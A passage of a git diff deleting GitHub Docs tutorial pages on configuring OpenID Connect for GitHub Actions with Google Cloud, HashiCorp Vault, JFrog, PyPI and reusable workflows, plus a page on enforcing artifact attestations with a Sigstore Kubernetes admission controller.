steps: - - id: 'auth' - name: 'Authenticate to GCP' - uses: 'google-github-actions/auth@f1e2d3c4b5a6f7e8d9c0b1a2c3d4e5f6a7b8c9d0' - with: - create_credentials_file: 'true' - workload_identity_provider: 'WORKLOAD-IDENTITY-PROVIDER' - service_account: 'SERVICE-ACCOUNT' - - id: 'gcloud' - name: 'gcloud' - run: |- - gcloud auth login --brief --cred-file="${{ steps.auth.outputs.credentials_file_path }}" - gcloud services list -``` - -{% endraw %} - -## Further reading - -{% data reusables.actions.oidc-further-reading %} diff --git a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault.md b/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault.md deleted file mode 100644 index 4dd8bff3baa1..000000000000 --- a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault.md +++ /dev/null @@ -1,192 +0,0 @@ ---- -title: Configuring OpenID Connect in HashiCorp Vault -shortTitle: OpenID Connect in HashiCorp Vault -intro: Use OpenID Connect within your workflows to authenticate with HashiCorp Vault. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Security -redirect_from: - - /actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview - -OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to authenticate with a HashiCorp Vault to retrieve secrets. - -This guide gives an overview of how to configure HashiCorp Vault to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and demonstrates how to use this configuration in the [hashicorp/vault-action](https://github.com/hashicorp/vault-action) action to retrieve secrets from HashiCorp Vault. - -## Prerequisites - -{% data reusables.actions.oidc-link-to-intro %} - -{% data reusables.actions.oidc-security-notice %} - -{% data reusables.actions.oidc-on-ghecom %} - -## Adding the identity provider to HashiCorp Vault - -To use OIDC with HashiCorp Vault, you will need to add a trust configuration for the {% data variables.product.prodname_dotcom %} OIDC provider. For more information, see the HashiCorp Vault [documentation](https://www.vaultproject.io/docs/auth/jwt). - -To configure your Vault server to accept JSON Web Tokens (JWT) for authentication: - -1. Enable the JWT `auth` method, and use `write` to apply the configuration to your Vault. - For `oidc_discovery_url` and `bound_issuer` parameters, use {% ifversion ghes %}`https://HOSTNAME/_services/token`{% else %}`https://token.actions.githubusercontent.com`{% endif %}. These parameters allow the Vault server to verify the received JSON Web Tokens (JWT) during the authentication process. - - ```shell copy - vault auth enable jwt - ``` - - ```shell copy - vault write auth/jwt/config \ - bound_issuer="{% ifversion ghes %}https://HOSTNAME/_services/token{% else %}https://token.actions.githubusercontent.com{% endif %}" \ - oidc_discovery_url="{% ifversion ghes %}https://HOSTNAME/_services/token{% else %}https://token.actions.githubusercontent.com{% endif %}" - ``` - - {% ifversion ghec %} - - > [!NOTE] - > If a unique issuer URL for an enterprise was set using the REST API (as described in [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#switching-to-a-unique-token-url)), the values for `bound_issuer` and `oidc_discover_url` must match that unique URL. For example, for an enterprise named `octocat` that uses the unique issuer URL, `bound_issuer` and `oidc_discovery_url` must be set to `https://token.actions.githubusercontent.com/octocat`. - - {% endif %} - -1. Configure a policy that only grants access to the specific paths your workflows will use to retrieve secrets. For more advanced policies, see the HashiCorp Vault [Policies documentation](https://www.vaultproject.io/docs/concepts/policies). - - ```shell copy - vault policy write myproject-production - <<EOF - # Read-only permission on 'secret/data/production/*' path - - path "secret/data/production/*" { - capabilities = [ "read" ] - } - EOF - ``` - -1. Configure roles to group different policies together. If the authentication is successful, these policies are attached to the resulting Vault access token. - - ```shell copy - vault write auth/jwt/role/myproject-production -<<EOF - { - "role_type": "jwt", - "user_claim": "actor", - "bound_claims": { - "repository": "user-or-org-name/repo-name" - }, - "policies": ["myproject-production"], - "ttl": "10m" - } - EOF - ``` - -* `ttl` defines the validity of the resulting access token. -* Ensure that the `bound_claims` parameter is defined for your security requirements, and has at least one condition. Optionally, you can also set the `bound_subject` as well as the `bound_audiences` parameter. -* To check arbitrary claims in the received JWT payload, the `bound_claims` parameter contains a set of claims and their required values. In the above example, the role will accept any incoming authentication requests from the `repo-name` repository owned by the `user-or-org-name` account. -* To see all the available claims supported by {% data variables.product.prodname_dotcom %}'s OIDC provider, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud). - -For more information, see the HashiCorp Vault [documentation](https://www.vaultproject.io/docs/auth/jwt). - -## Updating your {% data variables.product.prodname_actions %} workflow - -To update your workflows for OIDC, you will need to make two changes to your YAML: -1. Add permissions settings for the token. -1. Use the [`hashicorp/vault-action`](https://github.com/hashicorp/vault-action) action to exchange the OIDC token (JWT) for a cloud access token. - -{% data reusables.actions.oidc-deployment-protection-rules %} - -To add OIDC integration to your workflows that allow them to access secrets in Vault, you will need to add the following code changes: - -* Grant permission to fetch the token from the {% data variables.product.prodname_dotcom %} OIDC provider: - * The workflow needs `permissions:` settings with the `id-token` value set to `write`. This lets you fetch the OIDC token from every job in the workflow. -* Request the JWT from the {% data variables.product.prodname_dotcom %} OIDC provider, and present it to HashiCorp Vault to receive an access token: - * You can use the [`hashicorp/vault-action`](https://github.com/hashicorp/vault-action) action to fetch the JWT and receive the access token from Vault, or you could use the [Actions toolkit](https://github.com/actions/toolkit/) to fetch the tokens for your job. - -This example demonstrates how to use OIDC with the official action to request a secret from HashiCorp Vault. - -### Adding permissions settings - -{% data reusables.actions.oidc-permissions-token %} - -> [!NOTE] -> When the `permissions` key is used, all unspecified permissions are set to _no access_, with the exception of the metadata scope, which always gets _read_ access. As a result, you may need to add other permissions, such as `contents: read`. See [Automatic token authentication](/actions/security-guides/automatic-token-authentication) for more information. - -### Requesting the access token - -The `hashicorp/vault-action` action receives a JWT from the {% data variables.product.prodname_dotcom %} OIDC provider, and then requests an access token from your HashiCorp Vault instance to retrieve secrets. For more information, see the HashiCorp Vault GitHub Action [documentation](https://github.com/hashicorp/vault-action). - -This example demonstrates how to create a job that requests a secret from HashiCorp Vault. - -* `VAULT-URL`: Replace this with the URL of your HashiCorp Vault. -* `VAULT-NAMESPACE`: Replace this with the Namespace you've set in HashiCorp Vault. For example: `admin`. -* `ROLE-NAME`: Replace this with the role you've set in the HashiCorp Vault trust relationship. -* `SECRET-PATH`: Replace this with the path to the secret you're retrieving from HashiCorp Vault. For example: `secret/data/production/ci npmToken`. - -```yaml copy -jobs: - retrieve-secret: - runs-on: ubuntu-latest - permissions: - id-token: write - contents: read - steps: - - name: Retrieve secret from Vault - uses: hashicorp/vault-action@9a8b7c6d5e4f3a2b1c0d9e8f7a6b5c4d3e2f1a0b - with: - method: jwt - url: VAULT-URL - namespace: VAULT-NAMESPACE # HCP Vault and Vault Enterprise only - role: ROLE-NAME - secrets: SECRET-PATH - - - name: Use secret from Vault - run: | - # This step has access to the secret retrieved above; see hashicorp/vault-action for more details. -``` - -> [!NOTE] -> * If your Vault server is not accessible from the public network, consider using a self-hosted runner with other available Vault [auth methods](https://www.vaultproject.io/docs/auth). For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). -> * `VAULT-NAMESPACE` must be set for a Vault Enterprise (including HCP Vault) deployment. For more information, see [Vault namespace](https://www.vaultproject.io/docs/enterprise/namespaces). - -### Revoking the access token - -By default, the Vault server will automatically revoke access tokens when their TTL is expired, so you don't have to manually revoke the access tokens. However, if you do want to revoke access tokens immediately after your job has completed or failed, you can manually revoke the issued token using the [Vault API](https://www.vaultproject.io/api/auth/token#revoke-a-token-self). - -1. Set the `exportToken` option to `true` (default: `false`). This exports the issued Vault access token as an environment variable: `VAULT_TOKEN`. -1. Add a step to call the [Revoke a Token (Self)](https://www.vaultproject.io/api/auth/token#revoke-a-token-self) Vault API to revoke the access token. - -```yaml copy -jobs: - retrieve-secret: - runs-on: ubuntu-latest - permissions: - id-token: write - contents: read - steps: - - name: Retrieve secret from Vault - uses: hashicorp/vault-action@9a8b7c6d5e4f3a2b1c0d9e8f7a6b5c4d3e2f1a0b - with: - exportToken: true - method: jwt - url: VAULT-URL - role: ROLE-NAME - secrets: SECRET-PATH - - - name: Use secret from Vault - run: | - # This step has access to the secret retrieved above; see hashicorp/vault-action for more details. - - - name: Revoke token - # This step always runs at the end regardless of the previous steps result - if: always() - run: | - curl -X POST -sv -H "X-Vault-Token: {% raw %}${{ env.VAULT_TOKEN }}{% endraw %}" \ - VAULT-URL/v1/auth/token/revoke-self -``` - -## Further reading - -{% data reusables.actions.oidc-further-reading %} diff --git a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-jfrog.md b/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-jfrog.md deleted file mode 100644 index df5d264bf35c..000000000000 --- a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-jfrog.md +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Configuring OpenID Connect in JFrog -shortTitle: OpenID Connect in JFrog -intro: Use OpenID Connect within your workflows to authenticate with JFrog. -versions: - fpt: '*' - ghec: '*' -type: tutorial -topics: - - Security - - Actions -redirect_from: - - /actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-jfrog ---- - -## Overview - -OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to authenticate with [JFrog](https://jfrog.com/) to download and publish artifacts without storing JFrog passwords, tokens, or API keys in {% data variables.product.company_short %}. - -This guide gives an overview of how to configure JFrog to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and demonstrates how to use this configuration in a {% data variables.product.prodname_actions %} workflow. - -For an example {% data variables.product.prodname_actions %} workflow, see [Sample {% data variables.product.prodname_actions %} Integration](https://jfrog.com/help/r/jfrog-platform-administration-documentation/sample-github-actions-integration) in the JFrog documentation. - -For an example {% data variables.product.prodname_actions %} workflow using the JFrog CLI, see [`build-publish.yml`](https://github.com/jfrog/jfrog-github-oidc-example/blob/main/.github/workflows/build-publish.yml) in the `jfrog-github-oidc-example` repository. - -## Prerequisites - -{% data reusables.actions.oidc-link-to-intro %} - -{% data reusables.actions.oidc-security-notice %} - -{% data reusables.actions.oidc-on-ghecom %} - -* To be secure, you need to set a Claims JSON in JFrog when configuring identity mappings. For more information, see [AUTOTITLE](https://jfrog.com/help/r/jfrog-platform-administration-documentation/configure-identity-mappings) and [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#customizing-the-token-claims). - - For example, you can set `iss` to `https://token.actions.githubusercontent.com`, and the `repository` to something like "octo-org/octo-repo"`. This will ensure only Actions workflows from the specified repository will have access to your JFrog platform. The following is an example Claims JSON when configuring identity mappings. - - ```json copy - { - "iss": "https://token.actions.githubusercontent.com", - "repository": "octo-org/octo-repo" - } - ``` - -## Adding the identity provider to JFrog - -To use OIDC with JFrog, establish a trust relationship between {% data variables.product.prodname_actions %} and the JFrog platform. For more information about this process, see [OpenID Connect Integration](https://jfrog.com/help/r/jfrog-platform-administration-documentation/openid-connect-integration) in the JFrog documentation. - -1. Sign in to your JFrog Platform. -1. Configure trust between JFrog and your {% data variables.product.prodname_actions %} workflows. -1. Configure identity mappings. - -## Updating your {% data variables.product.prodname_actions %} workflow - -Once you establish a trust relationship between {% data variables.product.prodname_actions %} and the JFrog platform, you can update your {% data variables.product.prodname_actions %} workflow file. - -In your {% data variables.product.prodname_actions %} workflow file, ensure you are using the provider name and audience you configured in the JFrog Platform. - -The following example uses the placeholder `YOUR_PROVIDER_NAME`. - -```yaml -- name: Fetch Access Token from Artifactory - id: fetch_access_token - env: - ID_TOKEN: ${{ steps.idtoken.outputs.id_token }} - run: | - ACCESS_TOKEN=$(curl \ - -X POST \ - -H "Content-type: application/json" \ - https://example.jfrog.io/access/api/v1/oidc/token \ - -d \ - "{\"grant_type\": \"urn:ietf:params:oauth:grant-type:token-exchange\", \"subject_token_type\":\"urn:ietf:params:oauth:token-type:id_token\", \"subject_token\": \"$ID_TOKEN\", \"provider_name\": \"YOUR_PROVIDER_NAME\"}" | jq .access_token | tr -d '"') - echo ACCESS_TOKEN=$ACCESS_TOKEN >> $GITHUB_OUTPUT -``` - -The following example shows part of a {% data variables.product.prodname_actions %} workflow file using cURL. - -```yaml -- name: Get ID Token (cURL method) - id: idtoken - run: | - ID_TOKEN=$(curl -sLS -H "User-Agent: actions/oidc-client" -H "Authorization: Bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ - "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=jfrog-github" | jq .value | tr -d '"') - echo "ID_TOKEN=${ID_TOKEN}" >> $GITHUB_OUTPUT -``` - -Alternatively, you can set the audience as an environment variable using the `env` context. For more information about the `env` context, see [AUTOTITLE](/actions/learn-github-actions/contexts#env-context). - -{% data reusables.actions.oidc-deployment-protection-rules %} - -```yaml -jobs: - build: - runs-on: ubuntu-latest - env: - OIDC_AUDIENCE: 'YOUR_AUDIENCE' -``` - -Then, in your workflow file, retrieve the value of the variables stored in the `env` context. The following example uses the `env` context to retrieve the OIDC audience. - -```yaml -- name: Get ID Token (using env context) - uses: {% data reusables.actions.action-github-script %} - id: idtoken - with: - script: | - const coredemo = require('@actions/core'); - let id_token = await coredemo.getIDToken(process.env.OIDC_AUDIENCE); - coredemo.setOutput('id_token', id_token); -``` diff --git a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-pypi.md b/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-pypi.md deleted file mode 100644 index b41dd32b67b3..000000000000 --- a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-pypi.md +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Configuring OpenID Connect in PyPI -shortTitle: OpenID Connect in PyPI -intro: Use OpenID Connect within your workflows to authenticate with PyPI. -versions: - fpt: '*' - ghec: '*' -type: tutorial -topics: - - Security - - Actions -redirect_from: - - /actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-pypi ---- - -## Overview - -OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to authenticate with [PyPI](https://pypi.org) to publish Python packages. - -This guide gives an overview of how to configure PyPI to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and demonstrates how to use this configuration in the [`pypa/gh-action-pypi-publish`](https://github.com/marketplace/actions/pypi-publish) action to publish packages to PyPI (or other Python package repositories) without any manual API token management. - -## Prerequisites - -{% data reusables.actions.oidc-link-to-intro %} - -{% data reusables.actions.oidc-security-notice %} - -{% data reusables.actions.oidc-on-ghecom %} - -## Adding the identity provider to PyPI - -To use OIDC with PyPI, add a trust configuration that links each project on PyPI to each repository and workflow combination that's allowed to publish for it. - -1. Sign in to PyPI and navigate to the trusted publishing settings for the project you'd like to configure. For a project named `myproject`, this will be at `https://pypi.org/manage/project/myproject/settings/publishing/`. - -1. Configure a trust relationship between the PyPI project and a {% data variables.product.prodname_dotcom %} repository (and workflow within the repository). For example, if your {% data variables.product.prodname_dotcom %} repository is at `myorg/myproject` and your release workflow is defined in `release.yml` with an environment of `release`, you should use the following settings for your trusted publisher on PyPI. - - > [!NOTE] - > Enter these values carefully. Giving the incorrect user, repository, or workflow the ability to publish to your PyPI project is equivalent to sharing an API token. - - * Owner: `myorg` - * Repository name: `myproject` - * Workflow name: `release.yml` - * (Optionally) a {% data variables.product.prodname_actions %} environment name: `release` - -## Updating your {% data variables.product.prodname_actions %} workflow - -Once your trusted publisher is registered on PyPI, you can update your release workflow to use trusted publishing. - -{% data reusables.actions.oidc-deployment-protection-rules %} - -The [`pypa/gh-action-pypi-publish`](https://github.com/marketplace/actions/pypi-publish) action has built-in support for trusted publishing, which can be enabled by giving its containing job the `id-token: write` permission and omitting `username` and `password`. - -The following example uses the `pypa/gh-action-pypi-publish` action to exchange an OIDC token for a PyPI API token, which is then used to upload a package's release distributions to PyPI. - -```yaml copy -jobs: - release-build: - runs-on: ubuntu-latest - - steps: - - uses: {% data reusables.actions.action-checkout %} - - - uses: {% data reusables.actions.action-setup-python %} - with: - python-version: "3.x" - - - name: build release distributions - run: | - # NOTE: put your own distribution build steps here. - python -m pip install build - python -m build - - - name: upload windows dists - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: release-dists - path: dist/ - - pypi-publish: - runs-on: ubuntu-latest - needs: - - release-build - permissions: - id-token: write - - steps: - - name: Retrieve release distributions - uses: {% data reusables.actions.action-download-artifact %} - with: - name: release-dists - path: dist/ - - - name: Publish release distributions to PyPI - uses: pypa/gh-action-pypi-publish@3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f -``` diff --git a/content/actions/security-for-github-actions/security-hardening-your-deployments/index.md b/content/actions/security-for-github-actions/security-hardening-your-deployments/index.md deleted file mode 100644 index 6424dc340273..000000000000 --- a/content/actions/security-for-github-actions/security-hardening-your-deployments/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Security hardening your deployments -shortTitle: Security harden deployments -intro: Use OpenID Connect within your workflows to authenticate with your cloud provider. -redirect_from: - - /actions/deployment/security-hardening-your-deployments -versions: - fpt: '*' - ghec: '*' - ghes: '*' -children: - - /about-security-hardening-with-openid-connect - - /configuring-openid-connect-in-amazon-web-services - - /configuring-openid-connect-in-azure - - /configuring-openid-connect-in-google-cloud-platform - - /configuring-openid-connect-in-hashicorp-vault - - /configuring-openid-connect-in-jfrog - - /configuring-openid-connect-in-pypi - - /configuring-openid-connect-in-cloud-providers - - /using-openid-connect-with-reusable-workflows ---- - diff --git a/content/actions/security-for-github-actions/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md b/content/actions/security-for-github-actions/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md deleted file mode 100644 index 51e4e361a6bf..000000000000 --- a/content/actions/security-for-github-actions/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Using OpenID Connect with reusable workflows -shortTitle: OpenID Connect with reusable workflows -intro: You can use reusable workflows with OIDC to standardize and security harden your deployment steps. -redirect_from: - - /actions/deployment/security-hardening-your-deployments/using-oidc-with-your-reusable-workflows - - /actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Workflows - - Security ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About reusable workflows - -Rather than copying and pasting deployment jobs from one workflow to another, you can create a reusable workflow that performs the deployment steps. A reusable workflow can be used by another workflow if it meets one of the access requirements described in [AUTOTITLE](/actions/using-workflows/reusing-workflows#access-to-reusable-workflows). - -You should be familiar with the concepts described in [AUTOTITLE](/actions/using-workflows/reusing-workflows) and [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect). - -## Defining the trust conditions - -When combined with OpenID Connect (OIDC), reusable workflows let you enforce consistent deployments across your repository, organization, or enterprise. You can do this by defining trust conditions on cloud roles based on reusable workflows. The available options will vary depending on your cloud provider: - -* **Using `job_workflow_ref`:** - * To create trust conditions based on reusable workflows, your cloud provider must support custom claims for `job_workflow_ref`. This allows your cloud provider to identify which repository the job originally came from. - * For clouds that only support the standard claims (audience (`aud`) and subject (`sub`)), you can use the API to customize the `sub` claim to include `job_workflow_ref`. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#customizing-the-token-claims). Support for custom claims is currently available for Google Cloud Platform and HashiCorp Vault. - -* **Customizing the token claims:** - * You can configure more granular trust conditions by customizing the {% ifversion ghec %}issuer (`iss`) and {% endif %}subject (`sub`) claim{% ifversion ghec %}s that are{% else %} that's{% endif %} included with the JWT. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#customizing-the-token-claims). - -## How the token works with reusable workflows - -During a workflow run, {% data variables.product.prodname_dotcom %}'s OIDC provider presents a OIDC token to the cloud provider which contains information about the job. If that job is part of a reusable workflow, the token will include the standard claims that contain information about the calling workflow, and will also include a custom claim called `job_workflow_ref` that contains information about the called workflow. - -For example, the following OIDC token is for a job that was part of a called workflow. The `workflow`, `ref`, and other attributes describe the caller workflow, while `job_workflow_ref` refers to the called workflow: - -```yaml copy -{ - "typ": "JWT", - "alg": "RS256", - "x5t": "example-thumbprint", - "kid": "example-key-id" -} -{ - "jti": "example-id", - "sub": "repo:octo-org/octo-repo:environment:prod", - "aud": "{% ifversion ghes %}https://HOSTNAME{% else %}https://github.com{% endif %}/octo-org", - "ref": "refs/heads/main", - "sha": "example-sha", - "repository": "octo-org/octo-repo", - "repository_owner": "octo-org", - "actor_id": "12", - "repository_id": "74", - "repository_owner_id": "65", - "run_id": "example-run-id", - "run_number": "10", - "run_attempt": "2", - "actor": "octocat", - "workflow": "example-workflow", - "head_ref": "", - "base_ref": "", - "event_name": "workflow_dispatch", - "ref_type": "branch", - "job_workflow_ref": "octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main", - "iss": "{% ifversion ghes %}https://HOSTNAME/_services/token{% else %}https://token.actions.githubusercontent.com{% endif %}", - "nbf": 1632492967, - "exp": 1632493867, - "iat": 1632493567 -} -``` - -If your reusable workflow performs deployment steps, then it will typically need access to a specific cloud role, and you might want to allow any repository in your organization to call that reusable workflow. To permit this, you'll create the trust condition that allows any repository and any caller workflow, and then filter on the organization and the called workflow. See the next section for some examples. - -## Examples - -**Filtering for reusable workflows within a specific repository** - -You can configure a custom claim that filters for any reusable workflow in a specific repository. In this example, the workflow run must have originated from a job defined in a reusable workflow in the `octo-org/octo-automation` repository, and in any repository that is owned by the `octo-org` organization. - -* **Subject:** - * Syntax: `repo:ORG_NAME/*` - * Example: `repo:octo-org/*` - -* **Custom claim:** - * Syntax: `job_workflow_ref:ORG_NAME/REPO_NAME` - * Example: `job_workflow_ref:octo-org/octo-automation@*` - -**Filtering for a specific reusable workflow at a specific ref** - -You can configure a custom claim that filters for a specific reusable workflow. In this example, the workflow run must have originated from a job defined in the reusable workflow `octo-org/octo-automation/.github/workflows/deployment.yml`, and in any repository that is owned by the `octo-org` organization. - -* **Subject:** - * Syntax: `repo:ORG_NAME/*` - * Example: `repo:octo-org/*` - -* **Custom claim:** - * Syntax: `job_workflow_ref:ORG_NAME/REPO_NAME/.github/workflows/WORKFLOW_FILE@ref` - * Example: `job_workflow_ref:octo-org/octo-automation/.github/workflows/deployment.yml@ 10040c56a8c0253d69db7c1f26a0d227275512e2` diff --git a/content/actions/security-for-github-actions/using-artifact-attestations/enforcing-artifact-attestations-with-a-kubernetes-admission-controller.md b/content/actions/security-for-github-actions/using-artifact-attestations/enforcing-artifact-attestations-with-a-kubernetes-admission-controller.md deleted file mode 100644 index 01a913b94008..000000000000 --- a/content/actions/security-for-github-actions/using-artifact-attestations/enforcing-artifact-attestations-with-a-kubernetes-admission-controller.md +++ /dev/null @@ -1,151 +0,0 @@ ---- -title: Enforcing artifact attestations with a Kubernetes admission controller -intro: Use an admission controller to enforce artifact attestations in your Kubernetes cluster. -versions: - fpt: '*' - ghec: '*' -shortTitle: Artifact attestations Kubernetes admission controller -redirect_from: - - /actions/security-guides/enforcing-artifact-attestations-with-a-kubernetes-admission-controller ---- - ->[!NOTE] Before proceeding, ensure you have enabled build provenance for container images, including setting the `push-to-registry` attribute in the [`attest-build-provenance` action](https://github.com/actions/attest-build-provenance) as documented in [Generating build provenance for container images](/actions/security-guides/using-artifact-attestations-to-establish-provenance-for-builds#generating-build-provenance-for-container-images). This is required for the Policy Controller to verify the attestation. - -## About Kubernetes admission controller - -[Artifact attestations](/actions/security-guides/using-artifact-attestations-to-establish-provenance-for-builds) enable you to create unfalsifiable provenance and integrity guarantees for the software you build. In turn, people who consume your software can verify where and how your software was built. - -Kubernetes admission controllers are plugins that govern the behavior of the Kubernetes API server. They are commonly used to enforce security policies and best practices in a Kubernetes cluster. - -Using the open source [Sigstore Policy Controller](https://docs.sigstore.dev/policy-controller/overview/) project you can add an admission controller to your Kubernetes cluster that can enforce artifact attestations. This way, you can ensure that only artifacts with valid attestations can be deployed. - -To [install the controller](#getting-started-with-kubernetes-admission-controller), we offer [two Helm charts](https://github.com/github/artifact-attestations-helm-charts): one for deploying the Sigstore Policy Controller, and another for loading the GitHub trust root and a default policy. - -### About image verification - -When the Policy Controller is installed, it will intercept all image pull requests and verify the attestation for the image. The attestation must be stored in the image registry as an [OCI attached artifact](https://oras.land/docs/concepts/reftypes/) containing a [Sigstore Bundle](https://docs.sigstore.dev/about/bundle/) which contains the attestation and cryptographic material (e.g. certificates and signatures) used to verify the attestation. A verification process is then performed that ensures the image was built with the specified build provenance and matches any policies enabled by the cluster administrator. - -In order for an image to be verifiable, it must have a valid provenance attestation in the registry, which can be done by enabling the `push-to-registry: true` attribute in the `actions/attest-build-provenance` action. See [Generating build provenance for container images](/actions/security-guides/using-artifact-attestations-to-establish-provenance-for-builds#generating-build-provenance-for-container-images) for more details on how to generate attestations for container images. - -### About trust roots and policies - -The Sigstore Policy Controller is primarily configured with trust roots and policies, represented by the Custom Resources `TrustRoot` and `ClusterImagePolicy`. A `TrustRoot` represents a trusted distribution channel for the public key material used to verify attestations. A `ClusterImagePolicy` represents a policy for enforcing attestations on images. - -A `TrustRoot` may also contain a [TUF](https://theupdateframework.io/) repository root, making it possible for your cluster to continuously and securely receive updates to its trusted public key material. If left unspecified, a `ClusterImagePolicy` will by default use the open source Sigstore Public Good Instance's key material. When verifying attestations generated for private repositories, the `ClusterImagePolicy` must reference the GitHub `TrustRoot`. - -## Getting started with Kubernetes admission controller - -To set up an admission controller for enforcing GitHub artifact attestations, you need to: - -1. [Deploy the Sigstore Policy Controller](#deploy-the-sigstore-policy-controller). -1. [Add the GitHub `TrustRoot` and a `ClusterImagePolicy` to your cluster](#add-the-github-trustroot-and-a-clusterimagepolicy). -1. [Enable the policy in your namespace](#enable-the-policy-in-your-namespace). - -### Deploy the Sigstore Policy Controller - -We have packaged the Sigstore Policy Controller as a [GitHub distributed Helm chart](https://github.com/github/artifact-attestations-helm-charts). Before you begin, ensure you have the following prerequisites: - -* A Kubernetes cluster with version 1.27 or later -* [Helm](https://helm.sh/docs/intro/install/) 3.0 or later -* [kubectl](https://kubernetes.io/docs/tasks/tools/) - -First, install the Helm chart that deploys the Sigstore Policy Controller: - -```bash copy -helm upgrade policy-controller --install --atomic \ - --create-namespace --namespace artifact-attestations \ - oci://ghcr.io/github/artifact-attestations-helm-charts/policy-controller \ - --version v0.12.0-github10 -``` - -This installs the Policy Controller into the `artifact-attestations` namespace. At this point, no policies have been configured, and it will not enforce any attestations. - -### Add the GitHub `TrustRoot` and a `ClusterImagePolicy` - -Once the policy controller has been deployed, you need to add the GitHub `TrustRoot` and a `ClusterImagePolicy` to your cluster. Use the Helm chart we provide to do this. Make sure to replace `MY-ORGANIZATION` with your GitHub organization's name (e.g., `github` or `octocat-inc`). - -```bash copy -helm upgrade trust-policies --install --atomic \ - --namespace artifact-attestations \ - oci://ghcr.io/github/artifact-attestations-helm-charts/trust-policies \ - --version v0.6.2 \ - --set policy.enabled=true \ - --set policy.organization=MY-ORGANIZATION -``` - -You've now installed the GitHub trust root, and an artifact attestation policy into your cluster. This policy will reject artifacts that have not originated from within your GitHub organization. - -### Enable the policy in your namespace - -> [!WARNING] -> This policy will not be enforced until you specify which namespaces it should apply to. - -Each namespace in your cluster can independently enforce policies. To enable enforcement in a namespace, you can add the following label to the namespace: - -```yaml -metadata: - labels: - policy.sigstore.dev/include: "true" -``` - -After the label is added, the GitHub artifact attestation policy will be enforced in the namespace. - -Alternatively, you may run: - -```bash copy -kubectl label namespace MY-NAMESPACE policy.sigstore.dev/include=true -``` - -### Matching images - -By default, the policy installed with the `trust-policies` Helm chart will verify attestations for all images before admitting them into the cluster. If you only intend to enforce attestations for a subset of images, you can use the Helm values `policy.images` and `policy.exemptImages` to specify a list of images to match against. These values can be set to a list of glob patterns that match the image names. The globbing syntax uses Go [filepath](https://pkg.go.dev/path/filepath#Match) semantics, with the addition of `**` to match any character sequence, including slashes. - -For example, to enforce attestations for images that match the pattern `ghcr.io/MY-ORGANIZATION/*` and admit `busybox` without a valid attestation, you can run: - -```bash copy -helm upgrade trust-policies --install --atomic \ - --namespace artifact-attestations \ - oci://ghcr.io/github/artifact-attestations-helm-charts/trust-policies \ - --version v0.6.2 \ - --set policy.enabled=true \ - --set policy.organization=MY-ORGANIZATION \ - --set-json 'policy.exemptImages=["index.docker.io/library/busybox**"]' \ - --set-json 'policy.images=["ghcr.io/MY-ORGANIZATION/**"]' - ``` - -All patterns must use the fully-qualified name, even if the images originate from Docker Hub. In this example, if we want to exempt the image `busybox`, we must provide the full name including the domain and double-star glob to match all image versions: `index.docker.io/library/busybox**`. - -Note that any image you intend to admit _must_ have a matching glob pattern in the `policy.images` list. If an image does not match any pattern, it will be rejected. Additionally, if an image matches both `policy.images` and `policy.exemptImages`, it will be rejected. - -{% ifversion ghec %} - -If your GitHub Enterprise account has a subdomain on {% data variables.enterprise.data_residency_site %}, you must specify a value for the GitHub trust domain. This value is used to fetch the trusted materials associated with the data residency region that hosts your GitHub Enterprise account. This value can be found by logging into your enterprise account with the `gh` CLI tool and running the following command: - -```bash copy -gh api meta --jq .domains.artifact_attestations.trust_domain -``` - -This value must be added when installing the `trust-policies` chart, like so: - -```bash copy ---set-json 'policy.trust.githubTrustDomain="YOUR-GHEC-TRUST-DOMAIN"' -``` - -{% endif %} - -### Advanced usage - -To see the full set of options you may configure with the Helm chart, you can run either of the following commands. -For policy controller options: - -```bash copy -helm show values 